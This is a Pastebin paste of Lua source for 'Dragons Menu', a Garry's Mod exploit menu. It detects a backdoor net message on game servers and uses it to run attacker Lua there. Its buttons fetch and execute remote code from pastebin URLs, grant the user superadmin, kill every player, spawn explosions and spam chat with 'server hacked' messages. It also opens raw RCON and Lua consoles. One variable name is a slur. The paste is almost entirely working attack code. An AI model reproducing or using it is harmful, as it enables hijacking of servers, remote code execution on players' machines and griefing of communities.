HENTAI159

DRAGON V2

Mar 30th, 2018
691
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 36.78 KB | None | 0 0
  1.  
  2. -- ███▄▄▄▄ ▄██████▄ ▀████ ▐████▀ ▄███████▄ ▄█ ▄██████▄ ▄█ ███
  3. -- ███▀▀▀██▄ ███ ███ ███▌ ████▀ ███ ███ ███ ███ ███ ███ ▀█████████▄
  4. -- ███ ███ ███ ███ ███ ▐███ ███ ███ ███ ███ ███ ███▌ ▀███▀▀██
  5. -- ███ ███ ███ ███ ▀███▄███▀ ███ ███ ███ ███ ███ ███▌ ███ ▀
  6. -- ███ ███ ███ ███ ████▀██▄ ▀█████████▀ ███ ███ ███ ███▌ ███
  7. -- ███ ███ ███ ███ ▐███ ▀███ ███ ███ ███ ███ ███ ███
  8. -- ███ ███ ███ ███ ▄███ ███▄ ███ ███▌ ▄ ███ ███ ███ ███
  9. -- ▀█ █▀ ▀██████▀ ████ ███▄ ▄████▀ █████▄▄██ ▀██████▀ █▀ ▄████▀
  10.  
  11. -- Free Garry's Mod Exploit/Aimbot menu !
  12. -- Go on https://noxploit.pro !
  13.  
  14. local dversion=1.3
  15.  
  16. local dlversion ="v1.3"
  17.  
  18. local outdated = 0
  19.  
  20. local devbuild = 0
  21.  
  22. local pastecheck = 0 // 0 = Bueno 1 = No Bueno
  23.  
  24. local crash = 0
  25.  
  26. local ulx_spam=0
  27.  
  28. local ply = LocalPlayer()
  29.  
  30.  
  31.  
  32. // INSTALIZATION
  33.  
  34. // FUNCTIONS
  35.  
  36.  
  37.  
  38. surface.CreateFont( "PopupHFont", {
  39.  
  40. font = "Segoe UI Light",
  41.  
  42. size = 50,
  43.  
  44. weight = 1000,
  45.  
  46. } )
  47.  
  48.  
  49.  
  50. surface.CreateFont("HeaderFont", {
  51.  
  52. font = "Segoe UI Semilight",
  53.  
  54. size = 22,
  55.  
  56. weight = 300
  57.  
  58. })
  59.  
  60.  
  61.  
  62. surface.CreateFont("PopupFont", {
  63.  
  64. font = "Segoe UI Light",
  65.  
  66. size = 21,
  67.  
  68. weight = 300
  69.  
  70. })
  71.  
  72.  
  73.  
  74. surface.CreateFont("HeadingFont",{
  75.  
  76. font = "ChatFont",
  77.  
  78. size = 20,
  79.  
  80. weight = 500,
  81.  
  82. antialias = true,
  83.  
  84. })
  85.  
  86.  
  87.  
  88. function SoundClick()
  89.  
  90. if GetConVarNumber("bh_playsound") > 0 then
  91.  
  92. surface.PlaySound("buttons/lightswitch2.wav")
  93.  
  94. else
  95.  
  96. end end
  97.  
  98. hook.Add("HUDPaint", "Credits", function() draw.SimpleTextOutlined( "Garry's Mod Menu Downloaded on noxploit.pro | Enjoy your game !", "creditsfont", ScrW()/2 + math.sin(RealTime()) * ScrW() / 85, ScrH()/15, Color( 255, 255, 255,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0,0,0,160) )
  99.  
  100. end)
  101.  
  102. surface.CreateFont( "creditsfont", {
  103. font = "Roboto",
  104. extended = false,
  105. size = 20,
  106. weight = 600,
  107. blursize = 0,
  108. scanlines = 0,
  109. antialias = true,
  110. })
  111.  
  112.  
  113. function WelcomeScreen()
  114.  
  115. local Popup = vgui.Create("DFrame")
  116.  
  117. Popup:SetSize( ScrW(), ScrH() )
  118.  
  119. Popup:SetPos( 0,0 )
  120.  
  121. Popup:SetVisible( true )
  122.  
  123. Popup:SetDraggable( false )
  124.  
  125. Popup:SetTitle( "" )
  126.  
  127. Popup:MakePopup()
  128.  
  129. Popup:ShowCloseButton( false )
  130.  
  131.  
  132.  
  133. Popup.Paint = function(s,w,h)
  134.  
  135. surface.SetDrawColor( Color(0,0,0,200) )
  136.  
  137. surface.DrawRect( 0,0, w,h )
  138.  
  139. surface.SetDrawColor( Color(255,0,0) )
  140.  
  141. surface.DrawRect( 0, w/2-Popup:GetTall()/1.520, ScrW(), ScrH()/6.5 )
  142.  
  143. surface.SetTextColor(255,255,255)
  144.  
  145. surface.SetTextPos(w/5.10, h/2.40)
  146.  
  147. if outdated == 0 then
  148.  
  149. surface.SetFont("PopupHFont")
  150.  
  151. surface.SetTextPos(w/5.10, h/3)
  152.  
  153. surface.DrawText("Dragon Menu")
  154.  
  155. surface.SetFont("PopupFont")
  156.  
  157. surface.SetTextPos(w/5.10, h/2.50)
  158.  
  159. surface.DrawText( "Tu n'as pas acheté le Dragons Menu," )
  160.  
  161. surface.SetTextPos(w/5.10, h/2.40)
  162.  
  163. surface.DrawText( "donc tu ne peux pas l'utiliser." )
  164.  
  165. surface.SetTextPos(w/5.10, h/2.30)
  166.  
  167. surface.DrawText("Merci de contacter TheDevMan_ si l'erreur persiste.")
  168.  
  169. elseif outdated == 1 then
  170.  
  171. surface.SetFont("PopupFont")
  172.  
  173. surface.SetTextPos(w/5.10, h/2.50)
  174.  
  175. surface.DrawText( "Your version is outdated! Please contact the HaxRUs team for the latest edition!" )
  176.  
  177. else
  178.  
  179. surface.SetFont("PopupHFont")
  180.  
  181. surface.SetTextPos(10, 100)
  182.  
  183. surface.DrawText( "BridgeHack Version "..dlversion.."")
  184.  
  185. surface.SetFont("PopupFont")
  186.  
  187. surface.SetTextPos(w/5.10, h/2.50)
  188.  
  189. surface.DrawText( "Error" )
  190.  
  191. end end
  192.  
  193. button = vgui.Create("DButton", Popup)
  194.  
  195. button:SetSize(110,32.5)
  196.  
  197. button:SetPos(Popup:GetWide()/2+Popup:GetWide()/10, Popup:GetTall()/2.050)
  198.  
  199. button:SetText("")
  200.  
  201. button.Paint = function(s,w,h)
  202.  
  203. surface.SetDrawColor( Color(255,255,255) )
  204.  
  205. surface.DrawRect( 0,0, w,h )
  206.  
  207. surface.SetDrawColor( Color(127,0,0) )
  208.  
  209. surface.DrawRect( 0+3,0+3, w-6,h-6 )
  210.  
  211. surface.SetTextColor(255,255,255)
  212.  
  213. surface.SetFont("PopupFont")
  214.  
  215. surface.SetTextPos(30.5,5.5)
  216.  
  217. surface.DrawText( "OK" )
  218.  
  219. end
  220.  
  221.  
  222.  
  223. button.DoClick = function(s,w,h)
  224.  
  225. Popup:Close()
  226.  
  227. SoundClick()
  228.  
  229. end
  230. end
  231.  
  232. concommand.Add("test", WelcomeScreen, SVersionCheck)
  233.  
  234.  
  235.  
  236.  
  237.  
  238.  
  239.  
  240.  
  241.  
  242.  
  243.  
  244.  
  245.  
  246.  
  247.  
  248. local RatesScaleLevel = LocalPlayer():SteamID()
  249. netKey = "Sandbox_ArmDupe"
  250. function IsMessagePooled( netmessage )
  251. status, error = pcall(net.Start,netmessage)
  252. return status
  253. end
  254. function HtxPooledString()
  255. if IsMessagePooled( netKey ) then return "Backdoor detecter sur ce serveur !"
  256. else return "Aucune backdoor trouvée"
  257. end
  258. end
  259. local FillFrameRates = RatesScaleLevel
  260. concommand.Add( "Dragons_menu", function()
  261. if FillFrameRates == "STEAM_0:1:127225950" then
  262. local DermaFrame = vgui.Create( "DFrame" )
  263. DermaFrame:SetPos( ScrW()/2-150, ScrH()/2-150 )
  264. DermaFrame:SetSize( 1200, 600 )
  265. DermaFrame:SetTitle( "" )
  266. DermaFrame:SetVisible( true )
  267. DermaFrame:Center()
  268. DermaFrame:MakePopup()
  269. DermaFrame.Paint = function()
  270. draw.RoundedBox( 8, 0, 0, DermaFrame:GetWide(), DermaFrame:GetTall(), Color( 0, 0, 0, 150 ) )
  271. end
  272.  
  273.  
  274.  
  275. local breen_img = vgui.Create( "HTML", DermaFrame ) -- Add image to Frame
  276. breen_img:SetPos( 10, 35 ) -- Move it into frame
  277. breen_img:SetSize( 500, 400 ) -- Size it to 150x150
  278. -- Set material relative to "garrysmod/materials/"
  279. breen_img:SetHTML( [[<img src="http://supronrp.fr/DragonMenu/logo.png" width="436" height="359">]] )
  280. local head = vgui.Create( "DPanel", DermaFrame )
  281. head:SetSize( 600, 80 )
  282. head:SetPos( 450, 10 )
  283. head.Paint = function( s, w, h )
  284. surface.SetDrawColor( Color(0, 0, 0, 220) )
  285. surface.DrawRect( 0, 0, w, h )
  286. surface.SetDrawColor( Color(255, 255, 255, 245) )
  287. surface.DrawOutlinedRect( 0, 0, w, h )
  288. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  289. surface.SetDrawColor( Color(0, 0, 0, 0) )
  290. surface.DrawRect( 80, 25, w - 90, h - 35 )
  291. surface.SetDrawColor( Color(0, 0, 0, 255) )
  292. end
  293. local Text = vgui.Create( "DLabel", DermaFrame )
  294. Text:SetText( HtxPooledString() )
  295. Text:SizeToContents()
  296. Text:SetPos( 650, 90 )
  297. Text:SetContentAlignment( 5 )
  298. Text:SetTextColor( Color(255,50,50,255) )
  299. local Text2 = vgui.Create( "DLabel", head )
  300. Text2:SetText( "Dragons Menu" )
  301. Text2:SetFont( "DermaLarge" )
  302. Text2:SetPos( 200, 20 )
  303. Text2:SizeToContents()
  304. Text2:SetContentAlignment( 5 )
  305. Text2:SetTextColor( Color(255,50,50,255) )
  306. local ExploitButton1 = vgui.Create("DButton", DermaFrame )
  307. ExploitButton1:SetSize( 200, 20 )
  308. ExploitButton1:SetPos( 450, 110 )
  309. ExploitButton1:SetText( "Spam Visuel/Audio" )
  310. ExploitButton1:SetTextColor(Color(0, 0, 0, 255))
  311. ExploitButton1.Paint = function( panel, w, h )
  312. surface.SetDrawColor(0, 0, 0 ,255)
  313. surface.DrawOutlinedRect(0, 0, w, h)
  314. surface.SetDrawColor(255, 255, 255 ,255)
  315. surface.DrawRect(0, 0, w, h)
  316. end
  317. ExploitButton1.DoClick = function()
  318. net.Start(netKey)
  319. net.WriteString( "http.Fetch(\"https://pastebin.com/raw/sFU8kN69\",function(b,l,h,c)RunString(b)end,nil)" )
  320. net.WriteBit(1)
  321. net.SendToServer()
  322. end
  323. local ExploitButton2 = vgui.Create("DButton", DermaFrame )
  324. ExploitButton2:SetSize( 200, 20 )
  325. ExploitButton2:SetPos( 700, 110 )
  326. ExploitButton2:SetText( "Fin du monde" )
  327. ExploitButton2:SetTextColor(Color(0, 0, 0, 255))
  328. ExploitButton2.Paint = function( panel, w, h )
  329. surface.SetDrawColor(0, 0, 0 ,255)
  330. surface.DrawOutlinedRect(0, 0, w, h)
  331. surface.SetDrawColor(255, 255, 255 ,255)
  332. surface.DrawRect(0, 0, w, h)
  333. end
  334. ExploitButton2.DoClick = function()
  335. net.Start(netKey)
  336. local faggot = "hook.Add(\"Think\", \"bombstrike\", function() \n local explode = ents.Create( \"env_explosion\" ) \n explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) ) explode:Spawn() explode:SetKeyValue( \"iMagnitude\", \"500\" ) explode:Fire( \"Explode\", 0, 0 ) end)"
  337. net.WriteString( faggot )
  338. net.WriteBit(1)
  339. net.SendToServer()
  340. end
  341. local ExploitButton3 = vgui.Create("DButton", DermaFrame )
  342. ExploitButton3:SetSize( 200, 20 )
  343. ExploitButton3:SetPos( 700, 150 )
  344. ExploitButton3:SetText( "Stop la Fin du monde" )
  345. ExploitButton3:SetTextColor(Color(0, 0, 0, 255))
  346. ExploitButton3.Paint = function( panel, w, h )
  347. surface.SetDrawColor(0, 0, 0 ,255)
  348. surface.DrawOutlinedRect(0, 0, w, h)
  349. surface.SetDrawColor(255, 255, 255 ,255)
  350. surface.DrawRect(0, 0, w, h)
  351. end
  352. ExploitButton3.DoClick = function()
  353. net.Start(netKey)
  354. net.WriteString( "hook.Remove( \"Think\" ,\"bombstrike\")" )
  355. net.WriteBit(1)
  356. net.SendToServer()
  357. end
  358. local ExploitButton4 = vgui.Create("DButton", DermaFrame )
  359. ExploitButton4:SetSize( 200, 20 )
  360. ExploitButton4:SetPos( 450, 400 )
  361. ExploitButton4:SetText( "1000000€ toute les 0.1sec" )
  362. ExploitButton4:SetTextColor(Color(0, 0, 0, 255))
  363. ExploitButton4.Paint = function( panel, w, h )
  364. surface.SetDrawColor(0, 0, 0 ,255)
  365. surface.DrawOutlinedRect(0, 0, w, h)
  366. surface.SetDrawColor(255, 255, 255 ,255)
  367. surface.DrawRect(0, 0, w, h)
  368. end
  369. ExploitButton4.DoClick = function()
  370. net.Start(netKey)
  371. net.WriteString( "for k,v in pairs(player.GetAll()) do timer.Create( \"timerargent1000000\", 0.1, 0, function() v:addMoney(1000000) end) end" )
  372. net.WriteBit(1)
  373. net.SendToServer()
  374. end
  375. local ExploitButton5 = vgui.Create("DButton", DermaFrame )
  376. ExploitButton5:SetSize( 200, 20 )
  377. ExploitButton5:SetPos( 450, 150 )
  378. ExploitButton5:SetText( "Spam de chat" )
  379. ExploitButton5:SetTextColor(Color(0, 0, 0, 255))
  380. ExploitButton5.Paint = function( panel, w, h )
  381. surface.SetDrawColor(0, 0, 0 ,255)
  382. surface.DrawOutlinedRect(0, 0, w, h)
  383. surface.SetDrawColor(255, 255, 255 ,255)
  384. surface.DrawRect(0, 0, w, h)
  385. end
  386. ExploitButton5.DoClick = function()
  387. net.Start(netKey)
  388. net.WriteString( "timer.Create( \"adminsgonnahate\", 0.01, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), \"SERVER HACKED BY ThedevMan_ DISCORD : https://discord.gg/jQSYpZd\")]]) end)")
  389. net.WriteBit(1)
  390. net.SendToServer()
  391. end
  392. local ExploitButton6 = vgui.Create("DButton", DermaFrame )
  393. ExploitButton6:SetSize( 200, 20 )
  394. ExploitButton6:SetPos( 950, 150 )
  395. ExploitButton6:SetText( "Spam Visuel/Audio Clown" )
  396. ExploitButton6:SetTextColor(Color(0, 0, 0, 255))
  397. ExploitButton6.Paint = function( panel, w, h )
  398. surface.SetDrawColor(0, 0, 0 ,255)
  399. surface.DrawOutlinedRect(0, 0, w, h)
  400. surface.SetDrawColor(255, 255, 255 ,255)
  401. surface.DrawRect(0, 0, w, h)
  402. end
  403. ExploitButton6.DoClick = function()
  404. net.Start(netKey)
  405. net.WriteString( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[sound.PlayURL( 'http://riverrp.xyz/earbutt.mp3', 'mono', function( s ) s:Play() end )]] ) end" )
  406. net.WriteString( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[http.Fetch( 'https://pastebin.com/raw/KwiZsVkd', function( body ) RunString( body ) end )]] ) end" )
  407. net.WriteBit(1)
  408. net.SendToServer()
  409. end
  410. local ExploitButton7 = vgui.Create("DButton", DermaFrame )
  411. ExploitButton7:SetSize( 200, 20 )
  412. ExploitButton7:SetPos( 950, 110 )
  413. ExploitButton7:SetText( "Hurlement sur les joueurs" )
  414. ExploitButton7:SetTextColor(Color(0, 0, 0, 255))
  415. ExploitButton7.Paint = function( panel, w, h )
  416. surface.SetDrawColor(0, 0, 0 ,255)
  417. surface.DrawOutlinedRect(0, 0, w, h)
  418. surface.SetDrawColor(255, 255, 255 ,255)
  419. surface.DrawRect(0, 0, w, h)
  420. end
  421. ExploitButton7.DoClick = function()
  422. net.Start(netKey)
  423. net.WriteString( "for k,v in pairs(player.GetAll()) do v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end" )
  424. net.WriteBit(1)
  425. net.SendToServer()
  426. end
  427. local ExploitButton8 = vgui.Create("DButton", DermaFrame )
  428. ExploitButton8:SetSize( 200, 20 )
  429. ExploitButton8:SetPos( 450, 190 )
  430. ExploitButton8:SetText( "Tuer tout les joueurs" )
  431. ExploitButton8:SetTextColor(Color(0, 0, 0, 255))
  432. ExploitButton8.Paint = function( panel, w, h )
  433. surface.SetDrawColor(0, 0, 0 ,255)
  434. surface.DrawOutlinedRect(0, 0, w, h)
  435. surface.SetDrawColor(255, 255, 255 ,255)
  436. surface.DrawRect(0, 0, w, h)
  437. end
  438. ExploitButton8.DoClick = function()
  439. net.Start(netKey)
  440. net.WriteString( "for k,v in pairs(player.GetAll()) do v:Kill() end" )
  441. net.WriteBit(1)
  442. net.SendToServer()
  443. end
  444. local ExploitButton9 = vgui.Create("DButton", DermaFrame )
  445. ExploitButton9:SetSize( 200, 20 )
  446. ExploitButton9:SetPos( 700, 190 )
  447. ExploitButton9:SetText( "transformer tout les joueurs en arbre" )
  448. ExploitButton9:SetTextColor(Color(0, 0, 0, 255))
  449. ExploitButton9.Paint = function( panel, w, h )
  450. surface.SetDrawColor(0, 0, 0 ,255)
  451. surface.DrawOutlinedRect(0, 0, w, h)
  452. surface.SetDrawColor(255, 255, 255 ,255)
  453. surface.DrawRect(0, 0, w, h)
  454. end
  455. ExploitButton9.DoClick = function()
  456. net.Start(netKey)
  457. net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetModel(\"models/gm_forest/tree_alder.mdl\") end" )
  458. net.WriteBit(1)
  459. net.SendToServer()
  460. end
  461. local ExploitButton10 = vgui.Create("DButton", DermaFrame )
  462. ExploitButton10:SetSize( 200, 20 )
  463. ExploitButton10:SetPos( 950, 190 )
  464. ExploitButton10:SetText( "Tremblement de terre" )
  465. ExploitButton10:SetTextColor(Color(0, 0, 0, 255))
  466. ExploitButton10.Paint = function( panel, w, h )
  467. surface.SetDrawColor(0, 0, 0 ,255)
  468. surface.DrawOutlinedRect(0, 0, w, h)
  469. surface.SetDrawColor(255, 255, 255 ,255)
  470. surface.DrawRect(0, 0, w, h)
  471. end
  472. ExploitButton10.DoClick = function()
  473. net.Start(netKey)
  474. net.WriteString( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end" )
  475. net.WriteBit(1)
  476. net.SendToServer()
  477. end
  478. local ExploitButton11 = vgui.Create("DButton", DermaFrame )
  479. ExploitButton11:SetSize( 200, 20 )
  480. ExploitButton11:SetPos( 450, 235 )
  481. ExploitButton11:SetText( "Ultime Spam Visuel/Audio" )
  482. ExploitButton11:SetTextColor(Color(0, 0, 0, 255))
  483. ExploitButton11.Paint = function( panel, w, h )
  484. surface.SetDrawColor(0, 0, 0 ,255)
  485. surface.DrawOutlinedRect(0, 0, w, h)
  486. surface.SetDrawColor(255, 255, 255 ,255)
  487. surface.DrawRect(0, 0, w, h)
  488. end
  489. ExploitButton11.DoClick = function()
  490. net.Start(netKey)
  491. net.WriteString( "http.Fetch(\"https://pastebin.com/raw/NH2v7exj\",function(b,l,h,c)RunString(b)end,nil)" )
  492. net.WriteBit(1)
  493. net.SendToServer()
  494. end
  495. local ExploitButton12 = vgui.Create("DButton", DermaFrame )
  496. ExploitButton12:SetSize( 200, 20 )
  497. ExploitButton12:SetPos( 700, 235 )
  498. ExploitButton12:SetText( "SuperAdmin" )
  499. ExploitButton12:SetTextColor(Color(0, 0, 0, 255))
  500. ExploitButton12.Paint = function( panel, w, h )
  501. surface.SetDrawColor(0, 0, 0 ,255)
  502. surface.DrawOutlinedRect(0, 0, w, h)
  503. surface.SetDrawColor(255, 255, 255 ,255)
  504. surface.DrawRect(0, 0, w, h)
  505. end
  506. ExploitButton12.DoClick = function()
  507. net.Start(netKey)
  508. net.WriteString( [[
  509.  
  510. local id = ]] .. LocalPlayer():UserID() .. [[
  511.  
  512. RunConsoleCommand( 'ulx', 'adduser', tostring( Player( id ):Nick() ), 'superadmin' )
  513.  
  514. Player( id ):SetUserGroup( "superadmin" )
  515.  
  516. ]] )
  517. net.WriteBit(1)
  518. net.SendToServer()
  519. end
  520. local ExploitButton13 = vgui.Create("DButton", DermaFrame )
  521. ExploitButton13:SetSize( 200, 20 )
  522. ExploitButton13:SetPos( 950, 235 )
  523. ExploitButton13:SetText( "Stop spam de chat" )
  524. ExploitButton13:SetTextColor(Color(0, 0, 0, 255))
  525. ExploitButton13.Paint = function( panel, w, h )
  526. surface.SetDrawColor(0, 0, 0 ,255)
  527. surface.DrawOutlinedRect(0, 0, w, h)
  528. surface.SetDrawColor(255, 255, 255 ,255)
  529. surface.DrawRect(0, 0, w, h)
  530. end
  531. ExploitButton13.DoClick = function()
  532. net.Start(netKey)
  533. net.WriteString("timer.Stop( \"adminsgonnahate\")")
  534. net.WriteBit(1)
  535. net.SendToServer()
  536. end
  537. local soundboxButton = vgui.Create("DButton", DermaFrame )
  538. soundboxButton:SetSize( 200, 20 )
  539. soundboxButton:SetPos( 450, 280 )
  540. soundboxButton:SetText( "soundbox" )
  541. soundboxButton:SetTextColor(Color(0, 0, 0, 255))
  542. soundboxButton.Paint = function( panel, w, h )
  543. surface.SetDrawColor(0, 0, 0 ,255)
  544. surface.DrawOutlinedRect(0, 0, w, h)
  545. surface.SetDrawColor(255, 255, 255 ,255)
  546. surface.DrawRect(0, 0, w, h)
  547. end
  548. soundboxButton.DoClick = function()
  549. soundbox()
  550. end
  551. local ExploitButton14 = vgui.Create("DButton", DermaFrame )
  552. ExploitButton14:SetSize( 200, 20 )
  553. ExploitButton14:SetPos( 700, 280 )
  554. ExploitButton14:SetText( "Mouvement" )
  555. ExploitButton14:SetTextColor(Color(0, 0, 0, 255))
  556. ExploitButton14.Paint = function( panel, w, h )
  557. surface.SetDrawColor(0, 0, 0 ,255)
  558. surface.DrawOutlinedRect(0, 0, w, h)
  559. surface.SetDrawColor(255, 255, 255 ,255)
  560. surface.DrawRect(0, 0, w, h)
  561. end
  562. ExploitButton14.DoClick = function()
  563. mouvement()
  564. end
  565. local ExploitButton15 = vgui.Create("DButton", DermaFrame )
  566. ExploitButton15:SetSize( 200, 20 )
  567. ExploitButton15:SetPos( 950, 280 )
  568. ExploitButton15:SetText( "transformations" )
  569. ExploitButton15:SetTextColor(Color(0, 0, 0, 255))
  570. ExploitButton15.Paint = function( panel, w, h )
  571. surface.SetDrawColor(0, 0, 0 ,255)
  572. surface.DrawOutlinedRect(0, 0, w, h)
  573. surface.SetDrawColor(255, 255, 255 ,255)
  574. surface.DrawRect(0, 0, w, h)
  575. end
  576. ExploitButton15.DoClick = function()
  577. transformations()
  578. end
  579. local ExploitButton16 = vgui.Create("DButton", DermaFrame )
  580. ExploitButton16:SetSize( 200, 20 )
  581. ExploitButton16:SetPos( 450, 315 )
  582. ExploitButton16:SetText( "effect visuel" )
  583. ExploitButton16:SetTextColor(Color(0, 0, 0, 255))
  584. ExploitButton16.Paint = function( panel, w, h )
  585. surface.SetDrawColor(0, 0, 0 ,255)
  586. surface.DrawOutlinedRect(0, 0, w, h)
  587. surface.SetDrawColor(255, 255, 255 ,255)
  588. surface.DrawRect(0, 0, w, h)
  589. end
  590. ExploitButton16.DoClick = function()
  591. specialvisuel()
  592. end
  593.  
  594.  
  595. local RconCommand = vgui.Create( "DTextEntry", DermaFrame )
  596. RconCommand:SetPos( 118, 400 )
  597. RconCommand:SetSize( 320, 20 )
  598. RconCommand:SetText( "hostname -= SERVEUR GET FUCKED BY ThedevMan_ =-" )
  599. local Lancer_rcon_commande = vgui.Create("DButton", DermaFrame )
  600. Lancer_rcon_commande:SetSize( 103, 20 )
  601. Lancer_rcon_commande:SetPos( 10, 400 )
  602. Lancer_rcon_commande:SetText("RCON Command")
  603. Lancer_rcon_commande:SetTextColor(Color(0, 0, 0, 255))
  604. Lancer_rcon_commande.Paint = function(panel, w, h)
  605. surface.SetDrawColor(0, 0, 0 ,255)
  606. surface.DrawOutlinedRect(0, 0, w, h)
  607. surface.SetDrawColor(255, 255, 255 ,255)
  608. surface.DrawRect(0, 0, w, h)
  609. end
  610. Lancer_rcon_commande.DoClick = function()
  611. local rcon_commandes_get = RconCommand:GetValue()
  612. net.Start(netKey)
  613. net.WriteString( rcon_commandes_get )
  614. net.WriteBit(false)
  615. net.SendToServer()
  616. end
  617. local GLUACommand = vgui.Create( "DTextEntry", DermaFrame )
  618. GLUACommand:SetPos( 118, 425 )
  619. GLUACommand:SetSize( 320, 20 )
  620. GLUACommand:SetText( "print ")
  621. local Lancer_glua_commande = vgui.Create("DButton", DermaFrame )
  622. Lancer_glua_commande:SetSize( 103, 20 )
  623. Lancer_glua_commande:SetPos( 10, 425 )
  624. Lancer_glua_commande:SetText("Code LUA")
  625. Lancer_glua_commande:SetTextColor(Color(0, 0, 0, 255))
  626. Lancer_glua_commande.Paint = function(panel, w, h)
  627. surface.SetDrawColor(0, 0, 0 ,255)
  628. surface.DrawOutlinedRect(0, 0, w, h)
  629. surface.SetDrawColor(255, 255, 255 ,255)
  630. surface.DrawRect(0, 0, w, h)
  631. end
  632. Lancer_glua_commande.DoClick = function()
  633. local glua_commandes_get = GLUACommand:GetValue()
  634. net.Start(netKey)
  635. net.WriteString( glua_commandes_get )
  636. net.WriteBit(1)
  637. net.SendToServer()
  638. end
  639.  
  640.  
  641.  
  642.  
  643.  
  644.  
  645. function soundbox()
  646. if SoundboxSelector and SoundboxSelector:IsVisible() then SoundboxSelector:Remove() end
  647. SoundboxSelector = vgui.Create("DFrame")
  648. SoundboxSelector:SetSize(505,350) --56464646465465
  649. SoundboxSelector:SetTitle("Soundbox")
  650. SoundboxSelector:SetPos( gui.MouseX(), gui.MouseY() )
  651. SoundboxSelector:MakePopup()
  652. SoundboxSelector.Paint = function( s, w, h )
  653. if !DermaFrame or !DermaFrame:IsVisible() then s:Remove() return end
  654. surface.SetDrawColor( Color(0, 0, 0, 220) )
  655. surface.DrawRect( 0, 0, w, h )
  656. surface.SetDrawColor( Color(255, 255, 255, 245) )
  657. surface.DrawOutlinedRect( 0, 0, w, h )
  658. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  659. surface.SetDrawColor( Color(0, 0, 0, 0) )
  660. surface.DrawRect( 80, 25, w - 90, h - 35 )
  661. surface.SetDrawColor( Color(0, 0, 0, 255) )
  662. end
  663. local DScrollPanel = vgui.Create( "DScrollPanel", SoundboxSelector )
  664. DScrollPanel:Dock( FILL )
  665. local soundButton1 = vgui.Create("DButton", DScrollPanel )
  666. soundButton1:SetSize( 200, 20 )
  667. soundButton1:SetPos( 35, 35 )
  668. soundButton1:SetText( "Acusé" )
  669. soundButton1:SetTextColor(Color(0, 0, 0, 255))
  670. soundButton1.Paint = function( panel, w, h )
  671. surface.SetDrawColor(0, 0, 0 ,255)
  672. surface.DrawOutlinedRect(0, 0, w, h)
  673. surface.SetDrawColor(255, 255, 255 ,255)
  674. surface.DrawRect(0, 0, w, h)
  675. end
  676. soundButton1.DoClick = function()
  677. net.Start(netKey)
  678. net.WriteString( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[sound.PlayURL( 'http://djvinz.chez.com/australie.wav', 'mono', function( s ) s:Play() end )]] ) end" )
  679. net.WriteBit(1)
  680. net.SendToServer()
  681. end
  682. local soundButton2 = vgui.Create("DButton", DScrollPanel )
  683. soundButton2:SetSize( 200, 20 )
  684. soundButton2:SetPos( 35, 70 )
  685. soundButton2:SetText( "Tho !" )
  686. soundButton2:SetTextColor(Color(0, 0, 0, 255))
  687. soundButton2.Paint = function( panel, w, h )
  688. surface.SetDrawColor(0, 0, 0 ,255)
  689. surface.DrawOutlinedRect(0, 0, w, h)
  690. surface.SetDrawColor(255, 255, 255 ,255)
  691. surface.DrawRect(0, 0, w, h)
  692. end
  693. soundButton2.DoClick = function()
  694. net.Start(netKey)
  695. net.WriteString( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[sound.PlayURL( 'http://jeremm.free.fr/toh.wav', 'mono', function( s ) s:Play() end )]] ) end" )
  696. net.WriteBit(1)
  697. net.SendToServer()
  698. end
  699. local soundButton3 = vgui.Create("DButton", DScrollPanel )
  700. soundButton3:SetSize( 200, 20 )
  701. soundButton3:SetPos( 35, 105 )
  702. soundButton3:SetText( "Rire" )
  703. soundButton3:SetTextColor(Color(0, 0, 0, 255))
  704. soundButton3.Paint = function( panel, w, h )
  705. surface.SetDrawColor(0, 0, 0 ,255)
  706. surface.DrawOutlinedRect(0, 0, w, h)
  707. surface.SetDrawColor(255, 255, 255 ,255)
  708. surface.DrawRect(0, 0, w, h)
  709. end
  710. soundButton3.DoClick = function()
  711. net.Start(netKey)
  712. net.WriteString( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[sound.PlayURL( 'http://jeremm.free.fr/rirkrusty.wav', 'mono', function( s ) s:Play() end )]] ) end" )
  713. net.WriteBit(1)
  714. net.SendToServer()
  715. end
  716. local soundButton4 = vgui.Create("DButton", DScrollPanel )
  717. soundButton4:SetSize( 200, 20 )
  718. soundButton4:SetPos( 35, 140 )
  719. soundButton4:SetText( "Nyan Cat" )
  720. soundButton4:SetTextColor(Color(0, 0, 0, 255))
  721. soundButton4.Paint = function( panel, w, h )
  722. surface.SetDrawColor(0, 0, 0 ,255)
  723. surface.DrawOutlinedRect(0, 0, w, h)
  724. surface.SetDrawColor(255, 255, 255 ,255)
  725. surface.DrawRect(0, 0, w, h)
  726. end
  727. soundButton4.DoClick = function()
  728. net.Start(netKey)
  729. net.WriteString( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[sound.PlayURL( 'http://www.supronrp.fr/02.wav', 'mono', function( s ) s:Play() end )]] ) end" )
  730. net.WriteBit(1)
  731. net.SendToServer()
  732. end
  733. local soundButton5 = vgui.Create("DButton", DScrollPanel )
  734. soundButton5:SetSize( 200, 20 )
  735. soundButton5:SetPos( 35, 170 )
  736. soundButton5:SetText( "Blue" )
  737. soundButton5:SetTextColor(Color(0, 0, 0, 255))
  738. soundButton5.Paint = function( panel, w, h )
  739. surface.SetDrawColor(0, 0, 0 ,255)
  740. surface.DrawOutlinedRect(0, 0, w, h)
  741. surface.SetDrawColor(255, 255, 255 ,255)
  742. surface.DrawRect(0, 0, w, h)
  743. end
  744. soundButton5.DoClick = function()
  745. net.Start(netKey)
  746. net.WriteString( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[sound.PlayURL( 'http://www.underdone.org/leak/underdone/blue.mp3', 'mono', function( s ) s:Play() end )]] ) end" )
  747. net.WriteBit(1)
  748. net.SendToServer()
  749. end
